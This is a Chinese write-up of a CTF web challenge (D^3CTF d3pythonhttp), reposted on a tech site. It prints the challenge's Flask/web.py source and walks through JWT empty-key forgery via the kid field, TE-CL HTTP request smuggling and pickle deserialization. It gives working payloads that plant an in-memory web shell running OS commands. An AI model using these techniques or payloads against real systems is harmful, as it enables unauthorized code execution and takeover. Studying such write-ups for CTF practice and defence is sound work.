【Web】D^3CTF之浅聊d3pythonhttp——TE-CL请求走私

目录

step0 题目信息 

step1 jwt空密钥伪造 

step1.5 有关TE&CL的lab

step2 TE-CL请求走私

payload1

payload2


step0 题目信息 

注意到题目源码前端是flask写的,后端是web.py写的

frontend

from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.clientapp = Flask(__name__)login_form = """
<form method="post">Username: <input type="text" name="username"><br>Password: <input type="password" name="password"><br><input type="submit" value="Login">
</form>
"""@app.route('/', methods=['GET'])
def index():token = request.cookies.get('token')if token and verify_token(token):return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]else: return redirect("/login", code=302)@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == "POST":user_info = {"username": request.form["username"], "isadmin": False}key = get_key("frontend_key")token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})resp = make_response(redirect("/", code=302))resp.set_cookie("token", token)return respelse:return render_template_string(login_form)@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():forward_url = "python-backend:8080"conn = http.client.HTTPConnection(forward_url)method = request.methodheaders = {key: value for (key, value) in request.headers if key != "Host"}data = request.datapath = "/"if request.query_string:path += "?" + request.query_string.decode()conn.request(method, path, body=data, headers=headers)response = conn.getresponse()return response.read()@app.route('/admin', methods=['GET', 'POST'])
def admin():token = request.cookies.get('token')if token and verify_token(token):if request.method == 'POST':if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:forward_url = "python-backend:8080"conn = http.client.HTTPConnection(forward_url)method = request.methodheaders = {key: value for (key, value) in request.headers if key != 'Host'}data = request.datapath = "/"if request.query_string:path += "?" + request.query_string.decode()if headers.get("Transfer-Encoding", "").lower() == "chunked":data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())if "BackdoorPasswordOnlyForAdmin" not in data:return "You are not an admin!"conn.request(method, "/backdoor", body=data, headers=headers)return "Done!"else:return "You are not an admin!"else:if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:return "Welcome admin!"else:return "You are not an admin!"else: return redirect("/login", code=302)def get_key(kid):key = ""dir = "/app/"try:with open(dir+kid, "r") as f:key = f.read()except:passprint(key)return keydef verify_token(token):header = jwt.get_unverified_header(token)kid = header["kid"]key = get_key(kid)try:payload = jwt.decode(token, key, algorithms=["HS256"])return Trueexcept:return Falseif __name__ == "__main__":app.run(host = "0.0.0.0", port = 8081, debug=False)

backend

import web
import pickle
import base64urls = ('/', 'index','/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())class index:def GET(self):return "welcome to the backend!"class backdoor:def POST(self):data = web.data()# fix this backdoorif b"BackdoorPasswordOnlyForAdmin" in data:return "You are an admin!"else:data  = base64.b64decode(data)pickle.loads(data)return "Done!"if __name__ == "__main__":app.run()

step1 jwt空密钥伪造 

jwt解密的过程是去jwttoken的header中取kid字段,然后对其拼接/app/得到文件路径,但我们不知道secretkey在哪个文件中,这里只要指定一个不存在的文件名就可以用空密钥去解密

且后续也不会去验证签名的合法性 

 

指定一个加密的空密钥,再把取解密密钥的路径置空 

 

带着token去访问./admin,发现成功伪造

 拿到admin之后我们就可以去请求后端 /backdoor 接口

要访问 /backdoor 接口,请求体要有 BackdoorPasswordOnlyForAdmin ,但后端想要执行pickle反序列化又不能有这段字符串,二者显然矛盾

 

 

step1.5 有关TE&CL的lab

我们可以实验下,请求头中有Transfer-Encoding时服务器接收的数据是怎样的

from flask import Flask, requestapp = Flask(__name__)@app.route('/admin', methods=['GET', 'POST'])
def admin():if request.method == 'POST':data1 = request.dataprint("这是前端接收到的数据")print(data1)data2 = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data1))[2:], data1.decode())print("这是前端向后端发的数据")print(data2)if __name__ == "__main__":app.run(host = "0.0.0.0", port = 8081, debug=False)

bp发包的时候记得把repeater的Update content length关掉

(从上图bp发包可以看到,当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响)

 

本地起的服务成功打印出接收的data,就是将我们传的分块数据进行了一个拼接 

向后端传的data,b8=9c+1c,就是进行了一个TE的格式化处理

至于后端接收的原始数据(暂时忽略Content-Length),显然就是

gANjYnVpbHRpbnMKZXZhbApxAFhUAAAAYXBwLmFkZF9wcm9jZXNzb3IoKGxhbWJkYSBzZWxmIDogX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9TZWNyM1RfRmxhZycpLnJlYWQoKSkpcQGFcQJScQMuBackdoorPasswordOnlyForAdmin

不作赘述

step2 TE-CL请求走私

于是就来到了本题的重头戏:浅谈HTTP请求走私

 考虑前后端对HTTP报文的解析差异

 后端web.py的web.data()对传入data有这样一段处理

就是说Transfer-Encoding 不为 chunked 就会走CL解析,这里可以用大写绕过chunked

前端flask对请求头的Transfer-Encoding判断时有一个小写的处理,这说明flask底层处理http报文不会将其转小写(否则就是多此一举),因而传往后端的headers中Transfer-Encoding仍然是大写的,这也就支持了上述绕过。

走过判断后,又对data手动进行了一个分块传输的格式处理

 

 

伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收到,但是前端可以),这样一来就绕过了对于BackdoorPasswordOnlyForAdmin的检测,进行pickle反序列化,靶机不出网,可以结合web.py的add_processor方法注内存马(就是在访问路由后执行lambda表达式命令)

payload1

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

Content-Length就是base64编码的长度

打入后直接访问/backend路由即可命令执行 

payload2

用pker生成opcode再转base64

GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode

 exp.py

getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
a = dict_get(builtins, '__builtins__')
exec = getattr(a, 'exec')
exec('index.GET = lambda self:__import__("os").popen(web.input().cmd).read()')
return

python3 pker.py < exp.py | base64 -w 0

改一下Content-Length 

访问./backend?cmd=cat /Secr3T_Flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/318423.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

万界星空科技商业开源MES+项目合作+商业开源低代码平台

今天我想和大家分享的是一套商业开源的 MES制造执行管理系统带源码。对于制造业而言&#xff0c;MES 是一个至关重要的系统&#xff0c;它可以帮助企业提高生产效率、优化资源利用、提高产品质量&#xff0c;从而增强市场竞争力。 什么是 MES&#xff1f; MES 是指通过计算机技…

安装部署大语言模型 | 通义千问

下载安装 进入ollama的仓库下载 「 qwen 7b 」 libraryGet up and running with large language models.https://ollama.com/library查找阿里的 「 qwen 」 根据自己的电脑配置情况&#xff0c;选择合适的模型 总体来说&#xff0c;模型是越大&#xff0c;效果越好&#xff0c…

数据库(MySQL)基础:约束

一、概述 1.概念&#xff1a;约束是作用于表中字段上的规则&#xff0c;用于限制存储在表中的数据。 2.目的&#xff1a;保证数据库中数据的正确、有效性和完整性。 3.分类 约束描述关键字非空约束限制该字段的数据不能为nullnot null唯一约束保证该字段的所有数据都是唯一…

JSP在页面用<%=调用声明函数时出现HTTP 500错误

JSP在页面用<%调用声明函数时出现HTTP 500错误 错误描述&#xff1a; Eclipse在编写JSP页面时&#xff0c;在其中采用<%&#xff01;%>方式声明了函数&#xff0c;然后在页面中用<%函数名%>方式调用时&#xff0c;出现HTTP状态500错误&#xff0c;提示为&#…

PC通过串口发送指令控制LED+串口中断

如何让单片机接收数据&#xff1f; 首先要打开SCON中的串行接收控制位REN。当REN1时为允许接收状态&#xff0c;可以接收信息。 因此令SCON 0x50&#xff1b; 怎么知道收到数据&#xff1f; 利用RI接收中断请求标志位。当串行接收到第8位结束时由内部硬件自动置为RI1&#…

LabVIEW机械臂控制与图像处理示教平台

LabVIEW机械臂控制与图像处理示教平台 随着工业自动化技术的快速发展&#xff0c;工业机器人在制造业中的应用越来越广泛&#xff0c;它们在提高生产效率、降低人工成本以及保证产品质量方面发挥着重要作用。然而&#xff0c;传统的工业机器人编程和操作需要专业知识&#xff…

Git使用指北

目录 创建一个Git仓库本地仓库添加文件文件提交到本地仓库缓冲区添加远程仓库地址本地仓库推送到远程仓库创建新的分支拉取代码同步删除缓冲区的文件&#xff0c;远程仓库的文件.gitignore文件 创建一个Git仓库 Git仓库分为远程和本地两种&#xff0c;远程仓库如Githu上创建的…

计算机网络之传输层TCP\UDP协议

UDP协议 用户数据报协议UDP概述 UDP只在IP数据报服务之上增加了很少功能&#xff0c;即复用分用和差错检测功能 UDP的主要特点&#xff1a; UDP是无连接的&#xff0c;减少开销和发送数据之前的时延 UDP使用最大努力交付&#xff0c;即不保证可靠交付&#xff0c;可靠性由U…

Debian 12 tomcat 9 catalina 日志信息 中文显示乱码

目录 问题现象 解决办法&#xff1a; 1、设定Debian locale 2、设定catalina.sh utf8字符集 问题现象 Debian 12 linux操作系统中&#xff0c;tomcat 9 catalina 启动日志输出 中文乱码 解决办法&#xff1a; 1、设定Debian locale 先确保系统本身就支持中文的 Debian …

免安装SQL管理工具HeidiSQL建库如何选Collation字符校对

免安装SQL管理工具HeidiSQL 文章目录 免安装SQL管理工具HeidiSQL一、安装二、建库因此&#xff0c;通常我们选择&#xff1a; 一、安装 到官方网址&#xff1a;https://www.heidisql.com/ 下载后按不同版本安装或解压&#xff0c;运行目录中的heidisql应用程序。 该工具可以对…

自动驾驶中的深度学习和计算机视觉

书籍&#xff1a;Applied Deep Learning and Computer Vision for Self-Driving Cars: Build autonomous vehicles using deep neural networks and behavior-cloning techniques 作者&#xff1a;Sumit Ranjan&#xff0c;Dr. S. Senthamilarasu 出版&#xff1a;Packt 书籍…

GRACE滤波数据处理之DDK系列滤波

以CSR RL06无约束解为例&#xff0c;进行DDK1-8滤波数据处理&#xff0c;人为构造如下有关读取数据的控制文件&#xff1a; Github上下载DDK滤波核函数&#xff1a;GitHub - strawpants/GRACE-filter: Contains software for filtering (destriping) GRACE Stokes coefficients…

Tomact安装配置及使用(超详细)

文章目录 web相关知识概述web简介(了解)软件架构模式(掌握)BS&#xff1a;browser server 浏览器服务器CS&#xff1a;client server 客户端服务器 B/S和C/S通信模式特点(重要)web资源(理解)资源分类 URL请求路径(理解)作用介绍格式浏览器通过url访问服务器的过程 服务器(掌握)…

【Docker】如何注册Hub账号并上传镜像到Hub仓库

一、创建Hub账户 浏览器访问&#xff1a;hub.docker.com 点击【Sign up】注册账号 输入【邮箱】【用户名】【密码】 ps&#xff1a;用户名要有字母数字&#xff1b;订阅不用勾选 点击【Sign up】注册即可 点击【Sign in】登录账号 输入【邮箱】【密码】 点击【Continue】登录 二…

前端工程化Vue使用Node.js永久设置国内高速npm镜像源

前端工程化Vue使用Node.js永久设置国内高速npm镜像源 接续上篇错误收录&#xff0c;此篇通过简单配置永久设置国内高速npm镜像源方法 1.更换新版镜像 清空npm缓存 npm cache clean --force修改回原版镜像源或直接删除配置过的镜像源 npm config set registry https://registr…

SpringDI方式及Redis应用场景的分享

1、为什么Spring和IDEA 都不推荐使用 Autowired 注解 大家在使用IDEA开发的时候有没有注意到过一个提示&#xff0c;在字段上使用Spring的依赖注入注解Autowired后会出现如下警告Field injection is not recommended (字段注入是不被推荐的)&#xff1b;但是使用Resource却不会…

如何用 Redis 实现延迟队列?

延迟队列是一种常见的消息队列模式&#xff0c;用于处理需要延迟执行的任务或消息。Redis 是一种快速、开源的键值对存储数据库&#xff0c;具有高性能、持久性和丰富的数据结构&#xff0c;因此很适合用于实现延迟队列。在这篇文章中&#xff0c;我们将详细讨论如何使用 Redis…

在虚拟环境中找到Qt Designer

Pyqt5中找到Qt Designer 安装Pyqt5和Qt Designer: pip install pyqt5-tools 假设Python的虚拟环境名为:d2l &#xff0c;虚拟环境在d2l文件夹中 D:\Software\d2l\Lib\site-packages\qt5_applications\Qt\bin 双击Qt designer启动 Pyside2中找到Qt Designer 安装pyside2 …

【牛客网】排列计算

原题链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 目录 1. 题目描述 2. 思路分析 3. 代码实现 1. 题目描述 2. 思路分析 如果直接涂色来计算单点权重&#xff0c;2e5*2e5必然超时。 所以用差分进行优化。 3. 代码实现 #include<bits/stdc.h> using name…

面试经典算法题之双指针专题

力扣经典面试题之双指针 ( 每天更新, 每天一题 ) 文章目录 力扣经典面试题之双指针 ( 每天更新, 每天一题 )验证回文串收获 392. 判断子序列167. 两数之和 - 输入有序数组11.盛开多水的容器 验证回文串 思路 一: 筛选 双指针验证 class Solution { public:bool isPalindrome(s…